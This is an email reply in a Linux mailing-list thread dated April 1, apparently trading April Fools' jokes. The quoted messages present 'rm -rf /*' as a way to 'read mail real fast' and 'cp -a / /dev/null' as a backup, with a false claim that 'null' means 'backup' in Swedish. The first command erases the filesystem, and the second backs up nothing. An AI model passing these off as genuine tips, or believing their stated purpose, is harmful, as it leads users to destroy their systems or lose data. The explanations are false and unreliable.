<html><head><style type='text/css'>p { margin: 0; }</style></head><body><div style='font-family: Times New Roman; font-size: 12pt; color: #000000'>Wow. Hey. I tried that, and it just hung my sys-....<br><br>David L. Willson<br>Trainer, Engineer, Enthusiast<br>RHCE MCT MCSE Network+ A+ Linux+ LPIC-1 NovellCLA UbuntuCP<br>tel://720.333.LANS<br>Freedom is better when you earn it. Learn Linux.<br><br>----- "Will" <will.sterling@gmail.com> wrote:
<br>> While on the topic of obscure and convenient commands. Few people know that when logged in a root a great way to read through all of the system mail for root is "rm -rf /*" < it is short for Read Mail -real fast the /* is a regular expression to find all of root's mail in the mail spool.<br>>
<br>> <div class="gmail_quote">> On Fri, Apr 1, 2011 at 11:40 AM, <span dir="ltr"><<a href="mailto:dennisjperkins@comcast.net" target="_blank">dennisjperkins@comcast.net</a>></span> wrote:<br>> <blockquote class="gmail_quote" style="margin: 0pt 0pt 0pt 0.8ex; border-left: 1px solid rgb(204, 204, 204); padding-left: 1ex;">
<div><div style="font-family: Arial; font-size: 12pt; color: rgb(0, 0, 0);">> <div class="im">> /dev/null is a fantastic backup device. Not many people know that. I <br>> would suggest:<br>> cp -a / /dev/null<br>> <br>> <br>> null means 'backup' in Swedish (Linus' mother tongue.) and will show up <br>>
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